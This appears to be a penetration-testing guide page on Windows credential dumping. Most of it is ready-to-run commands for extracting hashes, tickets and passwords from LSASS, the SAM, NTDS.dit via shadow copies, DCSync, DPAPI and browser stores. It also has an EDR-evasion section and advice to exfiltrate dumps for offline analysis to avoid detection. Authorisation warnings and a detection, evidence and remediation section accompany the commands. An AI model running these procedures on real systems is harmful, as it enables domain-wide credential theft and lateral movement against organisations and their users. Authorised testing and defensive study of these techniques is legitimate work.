Exploitation

Credential Dumping

Extract credentials from memory, registry, and Active Directory database to enable lateral movement and privilege escalation.

Danger

Scope boundary for this page. A credential dump does not read one account — LSASS returns every identity logged on to that host, SAM every local account, and NTDS.dit the entire domain. Those accounts may belong to people and services outside the agreed scope. Confirm the Rules of Engagement authorise credential extraction, agree the handling standard before the first dump (encrypted storage, named recipients, destruction date), and do not reuse a recovered credential on hosts outside the system it belongs to.

Tool Installation

Mimikatz

The credential tool

github.com/gentilkiwi/mimikatz

pypykatz

Python Mimikatz

pip install pypykatz

secretsdump

Impacket tool

pip install impacket

LaZagne

All credentials

github.com/AlessandroZ/LaZagne

Credential Locations:

LSASS - Live memory, plaintext/hashes of logged-in users
SAM - Local user NTLM hashes
NTDS.dit - All domain user hashes (DC only)
LSA Secrets - Service account passwords, autologon
DPAPI - Browser passwords, saved credentials

LSASS Memory Dump

LSASS (Local Security Authority Subsystem Service) stores credentials in memory. Dumping LSASS gives you credentials for all logged-in users.

What LSASS Contains:

NTLM password hashes
Kerberos tickets (TGT, TGS)
WDigest plaintext passwords (if enabled)
Cached credentials for offline logon

Warning

Detection: LSASS access is heavily monitored. Most EDRs alert on LSASS handle requests. Use EDR evasion methods in production environments.

Mimikatz (Direct)

Direct credential extraction from running LSASS. Requires SeDebugPrivilege (local admin).

mimikatz-lsass.txt

# Enable debug privilege first
mimikatz# privilege::debug
# Should return: Privilege '20' OK

# Dump ALL credentials (most common)
mimikatz# sekurlsa::logonpasswords
# Shows: Username, Domain, NTLM, SHA1, and sometimes plaintext

# Dump specific credential types
mimikatz# sekurlsa::wdigest    # WDigest (plaintext if enabled)
mimikatz# sekurlsa::kerberos   # Kerberos tickets
mimikatz# sekurlsa::msv        # NTLM hashes only
mimikatz# sekurlsa::credman    # Credential Manager
mimikatz# sekurlsa::dpapi      # DPAPI masterkeys

# Export Kerberos tickets
mimikatz# sekurlsa::tickets /export
# Creates .kirbi files for Pass-the-Ticket

# Enable WDigest for future logins (requires reboot)
# Shell command, not a mimikatz one - run it outside the mimikatz prompt
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Create LSASS Dump File

Create a dump file for offline analysis. Safer than running Mimikatz directly on target.

dump-lsass.txt

# Method 1: Task Manager (GUI - simple but logged)
# Right-click lsass.exe > Create dump file
# Saved to: C:\Users\<user>\AppData\Local\Temp\lsass.DMP

# Method 2: Procdump (Sysinternals - often whitelisted)
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -ma -64 lsass.exe lsass.dmp  # Force 64-bit

# Method 3: comsvcs.dll (built-in, no external tools)
# Find LSASS PID first
tasklist /fi "imagename eq lsass.exe"
# Or: (Get-Process lsass).Id
rundll32.exe comsvcs.dll, MiniDump 672 C:\temp\lsass.dmp full

# Method 4: PowerShell Out-Minidump
# Download: https://github.com/PowerShellMafia/PowerSploit
Import-Module .\Out-Minidump.ps1
Get-Process lsass | Out-Minidump -DumpFilePath C:\temp\

Analyze Dump Offline

Transfer dump to your attack machine for safe analysis without triggering target AV/EDR.

analyze-dump.sh

# Mimikatz - Load and analyze dump
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# pypykatz (Python - works on Linux)
pip install pypykatz
pypykatz lsa minidump lsass.dmp

# Output formats
pypykatz lsa minidump lsass.dmp -o json > creds.json
pypykatz lsa minidump lsass.dmp -o grep > creds.txt

# Extract just the hashes
pypykatz lsa minidump lsass.dmp | grep -i ntlm

# pypykatz registry (for SAM/SYSTEM files)
pypykatz registry --sam SAM --system SYSTEM --security SECURITY

Tip

Best Practice: Dump LSASS → Exfiltrate dump file → Analyze offline with pypykatz. This minimizes detection on target.

Remote LSASS Dump

Dump credentials remotely without interactive access. Requires admin credentials.

remote-lsass.sh

# nxc modules (various evasion techniques)
nxc smb TARGET -u admin -p pass --lsa       # LSA secrets
nxc smb TARGET -u admin -p pass -M lsassy   # lsassy module
nxc smb TARGET -u admin -p pass -M nanodump # Stealthy dump
nxc smb TARGET -u admin -p pass -M mimikatz # Direct mimikatz

# With hash
nxc smb TARGET -u admin -H NTLM_HASH -M lsassy

# Impacket secretsdump (remote registry + DRSUAPI)
secretsdump.py corp.local/admin:password@TARGET
secretsdump.py -hashes :NTLM_HASH admin@TARGET

# lsassy (standalone)
pip install lsassy
lsassy -d corp.local -u admin -p password TARGET
lsassy -d corp.local -u admin -p password 192.168.1.0/24  # Subnet

# Specify dump method for evasion
lsassy -d corp.local -u admin -p password TARGET -m nanodump
lsassy -d corp.local -u admin -p password TARGET -m comsvcs

SAM Database

The SAM (Security Account Manager) stores local user account NTLM hashes. Useful for Pass-the-Hash on local admin accounts.

Required Files:

SAM - Contains encrypted NTLM hashes
SYSTEM - Contains boot key to decrypt SAM
SECURITY - Contains cached domain creds, LSA secrets

Dump SAM Locally

dump-sam.ps1

# Method 1: Registry save (requires admin)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

# Transfer files to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 2: Volume Shadow Copy (for locked files)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Method 3: Mimikatz (directly from registry)
mimikatz# lsadump::sam
mimikatz# lsadump::sam /system:C:\temp\SYSTEM /sam:C:\temp\SAM

# Method 4: PowerShell (requires admin)
# Using Invoke-NinjaCopy or similar to bypass locks

Dump SAM Remotely

sam-remote.sh

# Impacket secretsdump
secretsdump.py corp.local/admin:password@192.168.1.100

# nxc
nxc smb 192.168.1.100 -u admin -p pass --sam

# With hash
nxc smb 192.168.1.100 -u admin -H NTLM_HASH --sam

NTDS.dit (Domain Controller)

NTDS.dit is the Active Directory database containing all domain user hashes. Requires Domain Admin or local admin on DC.

Location: C:\Windows\NTDS\ntds.dit

File is locked while AD is running - must use shadow copy or IFM backup

Danger

High Impact: Extracting NTDS.dit gives you EVERY domain user's hash. This should only be done with explicit authorization.

Volume Shadow Copy

Create a shadow copy to access locked files.

vss-ntds.ps1

# Create shadow copy of C: drive
vssadmin create shadow /for=C:

# Note the shadow copy path from output (e.g., HarddiskVolumeShadowCopy1)

# Copy NTDS.dit (AD database)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit

# Copy SYSTEM hive (for decryption key)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# List shadow copies
vssadmin list shadows

# Delete shadow copy (cleanup)
vssadmin delete shadows /shadow={GUID}
vssadmin delete shadows /all /quiet

ntdsutil / diskshadow

ntdsutil-ifm.ps1

# Method 1: ntdsutil IFM backup (creates clean backup)
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds" q q

# Files created:
# C:\temp\ntds\Active Directory\ntds.dit
# C:\temp\ntds\registry\SYSTEM
# C:\temp\ntds\registry\SECURITY

# Extract hashes
secretsdump.py -ntds "C:\temp\ntds\Active Directory\ntds.dit" -system C:\temp\ntds\registry\SYSTEM LOCAL

# Method 2: diskshadow script (for automation)
# Create script.txt with:
# set context persistent nowriters
# add volume c: alias mydrive
# create
# expose %mydrive% x:

diskshadow /s script.txt
copy x:\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
copy x:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Cleanup
diskshadow /s cleanup.txt  # unexpose x: ; delete shadows all

Extract Hashes from NTDS.dit

extract-ntds.sh

# secretsdump - Full extraction
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL

# Output to files
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -outputfile domain_hashes
# Creates: domain_hashes.ntds, domain_hashes.sam, domain_hashes.secrets

# NTLM hashes only (for Pass-the-Hash)
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -just-dc-ntlm

# Specific user only
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -just-dc-user Administrator
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -just-dc-user krbtgt

# With password history
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL -history

# Output format: user:RID:LM:NTLM:::

Remote NTDS Dump

dcsync.sh

# DCSync (preferred method)
secretsdump.py corp.local/admin:password@dc.corp.local

# Or with Mimikatz
mimikatz# lsadump::dcsync /domain:corp.local /all /csv

Cached Credentials

Domain Cached Credentials (DCC2/mscash2) are stored when users log in while DC is unavailable. Slow to crack but useful.

cached-creds.sh

# Cached creds stored in SECURITY hive
# By default, Windows caches last 10 domain logons

# Mimikatz - extract cached creds
mimikatz# lsadump::cache

# From SECURITY hive (offline)
secretsdump.py -security SECURITY -system SYSTEM LOCAL

# nxc
nxc smb TARGET -u admin -p pass --lsa

# Crack cached credentials with hashcat
# Format: $DCC2$10240#username#hash
# Mode 2100 is VERY slow (~50k/s vs millions for NTLM)
hashcat -m 2100 cached_creds.txt wordlist.txt

# Use rules for efficiency
hashcat -m 2100 cached_creds.txt wordlist.txt -r best64.rule

Tip

Cracking Strategy: DCC2 is very slow to crack. Use targeted wordlists based on the organization (company name variations, password policies).

LSA Secrets

LSA secrets store sensitive data including service account passwords, autologon credentials, and VPN passwords.

LSA Secrets May Contain:

Service account passwords (plaintext!)
DefaultPassword (autologon)
VPN/WLAN credentials
Computer account password
DPAPI system masterkey

lsa-secrets.sh

# Mimikatz
mimikatz# lsadump::secrets

# Impacket secretsdump (includes LSA secrets)
secretsdump.py corp.local/admin:password@TARGET

# nxc
nxc smb TARGET -u admin -p pass --lsa
nxc smb TARGET -u admin -H NTLM_HASH --lsa

# From SECURITY hive (offline)
secretsdump.py -security SECURITY -system SYSTEM LOCAL

# Look for service accounts with plaintext passwords
# Often see: _SC_<ServiceName> containing password

Windows Credential Manager

Windows stores saved credentials (RDP, websites, etc.) encrypted with DPAPI. Requires user context or DPAPI keys.

credential-manager.txt

# List saved credentials (user context)
cmdkey /list

# Credential files location
dir C:\Users\<user>\AppData\Local\Microsoft\Credentials\
dir C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\

# Mimikatz - vault credentials
mimikatz# vault::cred
mimikatz# vault::list

# DPAPI credential decryption
# First, get masterkey for the user
mimikatz# dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# Then decrypt credential file
mimikatz# dpapi::cred /in:"C:\Users\user\AppData\Local\Microsoft\Credentials\GUID" /masterkey:KEY

# If you have domain admin - extract all DPAPI keys
mimikatz# lsadump::backupkeys /system:dc.corp.local /export

# SharpDPAPI - Automated DPAPI extraction
SharpDPAPI.exe credentials
SharpDPAPI.exe machinevaults
SharpDPAPI.exe backupkey /nowrap

Browser Credentials

Browsers store saved passwords, cookies, and session tokens. Often contain valuable credentials for internal applications.

browser-creds.ps1

# SharpChrome - Chrome/Edge credentials (DPAPI-protected)
SharpChrome.exe logins            # Saved passwords
SharpChrome.exe cookies           # Cookies (session hijacking)
SharpChrome.exe history          # Browsing history

# SharpWeb - Multiple browsers
SharpWeb.exe all
SharpWeb.exe chrome
SharpWeb.exe firefox
SharpWeb.exe edge

# LaZagne - All credential stores (browsers, mail, wifi, etc.)
# Download: https://github.com/AlessandroZ/LaZagne/releases
lazagne.exe all
lazagne.exe browsers
lazagne.exe browsers -oJ  # JSON output

# Firefox credentials (not DPAPI protected)
# Firefox stores creds in profiles folder
python firefox_decrypt.py  # https://github.com/unode/firefox_decrypt

# Locations:
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# Firefox: %APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data

EDR Evasion Tips

Modern EDR solutions heavily monitor LSASS access. Use these techniques to avoid detection.

EDR Detection Points:

Direct LSASS handle requests (OpenProcess)
Known tool signatures (Mimikatz, procdump)
MiniDumpWriteDump API calls
Suspicious process lineage

lsass-evasion.ps1

# nanodump - Stealthier LSASS dump using syscalls
# https://github.com/helpsystems/nanodump
nanodump.exe --write C:\temp\lsass.dmp
nanodump.exe --valid  # Create valid minidump

# HandleKatz - Dumps using duplicated handles (avoids direct access)
# https://github.com/codewhitesec/HandleKatz
handlekatz.exe --pid <lsass_pid>

# PPLdump - Bypass Protected Process Light
# https://github.com/itm4n/PPLdump
PPLdump.exe lsass.exe lsass.dmp

# SafetyKatz - In-memory Mimikatz (no disk write)
SafetyKatz.exe "sekurlsa::logonpasswords"

# MirrorDump - Uses memory-only dump
# https://github.com/CCob/MirrorDump
MirrorDump.exe

# Dump from hibernation file (completely offline)
mimikatz# lsadump::hibrsys /hiberfil:C:\hiberfil.sys /system:SYSTEM

# Direct syscalls with custom loader
# Avoid API hooks by using Nt* functions directly

External Resources

Mimikatz - GitHub

The definitive Windows credential tool

pypykatz - GitHub

Python implementation for offline analysis

lsassy - GitHub

Remote LSASS dumping with multiple methods

nanodump - GitHub

Stealthy LSASS dump using syscalls

LaZagne - GitHub

Retrieve passwords from many applications

HackTricks - Stealing Credentials

Comprehensive credential extraction guide

Tip

When possible, use offline analysis methods - dump the target (LSASS, SAM, NTDS) and extract credentials on your attack machine to avoid triggering real-time AV/EDR.

Detection & Blue Team

Credential dumping is the noisiest thing on this page: every technique has to touch a protected object, and each touch has an event ID. Two things make detection hard in practice and are worth saying plainly — the events are usually generated on the target rather than the DC, so a SIEM that only ingests domain controllers sees nothing; and legitimate backup, AV and EDR software opens the same handles, so the alert has to be about the parent process, not the handle.

Technique	Event IDs / Indicators	Detection Approach
LSASS Dump	Sysmon 10 (Process Access), 4656	Process access to lsass.exe with PROCESS_VM_READ. Enable Credential Guard. Monitor procdump, comsvcs.dll, nanodump usage.
DCSync	4662 (DS-Replication-Get-Changes)	Replication requests from non-DC machines. Alert on GetNCChanges from workstation IPs. Audit replication ACLs.
SAM / SYSTEM Dump	4663 (Registry access)	Access to SAM/SECURITY/SYSTEM hives via reg.exe or shadow copy. Monitor for volume shadow copy creation.
NTDS.dit Extraction	4688, VSS events	ntdsutil.exe or vssadmin.exe usage on DCs. Monitor for ntds.dit file access and shadow copy operations.

Evidence Collection

Artefact and count: Which store was read (LSASS, SAM, LSA secrets, NTDS.dit, DPAPI, a browser profile), the command or file that produced it, and how many accounts came back. "Dumped credentials" without a count cannot be reviewed or re-tested.

What the accounts reach: The privilege of each recovered account and, critically, where it is an administrator. A local admin hash that works on one workstation and the same hash working on forty is the difference between two severities.

DCSync proof: On the DC, 4662 carrying the DS-Replication GUIDs, with the requesting account. That event is the only evidence that replication — rather than a file copy — was used.

Handling record: Where the dump and hash files are stored, who holds them, and the agreed destruction or handover date. Credential material is the client's own secret data, and the handling note is part of the deliverable.

CVSS range: LSASS dump on a member server with a privileged logon: 7.8–8.8 | SAM dump plus local-admin reuse: 8.4 | DCSync of krbtgt: 9.8

False Positive Identification

A local hash is not a domain credential: A SAM hash for a local administrator authenticates nowhere except hosts sharing that password. Check for reuse before claiming domain impact — LAPS existing is what usually disproves it.
No plaintext is normal, not a finding: Since Windows 8.1 WDigest does not cache plaintext by default, so sekurlsa::logonpasswords returning only hashes is expected. Do not report the absence of plaintext as a control that worked, or as a failed attempt.
DCSync from a "user" account: If replication succeeds with a non-privileged-looking account, the finding is the delegated replication right, not a broken DC. Confirm by pulling a hash you did not already hold.
Uncracked cached credentials: DCC2/mscash2 hashes crack at a tiny fraction of NTLM speed. Retrieved-but-uncracked is a hardening note; the credential was not recovered.

Testing Checklist

Work from the least privileged store outwards - a failed LSASS read tells you what your privilege will not reach, before you touch a DC.

Prove the store was read

☐ sekurlsa::logonpasswords, or the offline equivalent, returns named accounts with hashes; the count is recorded per store.
☐ The absence of plaintext is noted as expected since Windows 8.1 / WDigest, not as a control that worked.
☐ A SAM hash is tested against a second host sharing the local admin password before reuse is claimed.
☐ secretsdump -ntds returns krbtgt and a domain-account count, with the requesting account named.

Prove the impact and the cleanup

☐ DCSync is confirmed by a 4662 carrying the replication GUIDs on the DC, not by the hash list alone.
☐ Every <code>vssadmin</code> / <code>diskshadow</code> / <code>ntdsutil</code> artefact is removed and the empty result is captured.
☐ Credential Manager and browser stores are enumerated per profile and reported by entry count, not by "credentials found".
☐ Storage, holder and destruction date for the dump and hash files are recorded before the engagement closes.

Remediation

Protect the stores

• Enable Credential Guard and run LSASS as a Protected Process Light (RunAsPPL=1) so a dump needs a kernel driver, not local admin.
• Deploy LAPS so one SAM dump does not hand over the estate, and reduce CachedLogonsCount to the minimum the business accepts.
• Remove unnecessary local admin rights and keep SeDebugPrivilege away from service accounts — most dumps need it.

Protect the replication right

• Audit who holds DS-Replication-Get-Changes and …-All; it should be DC machine accounts, the DSA and a named break-glass group, nothing else.
• Alert on 4662 replication requests from non-DC IPs, Sysmon 10 access to lsass.exe, and vssadmin/ntdsutil on a DC.
• If NTDS.dit or the krbtgt hash was recovered, rotate krbtgt twice and treat every domain credential as exposed in the report.

AD Exploitation

Domain escalation attacks

Known Vulnerabilities

Exploit common vulnerabilities

Exploitation Overview

Back to main exploitation guide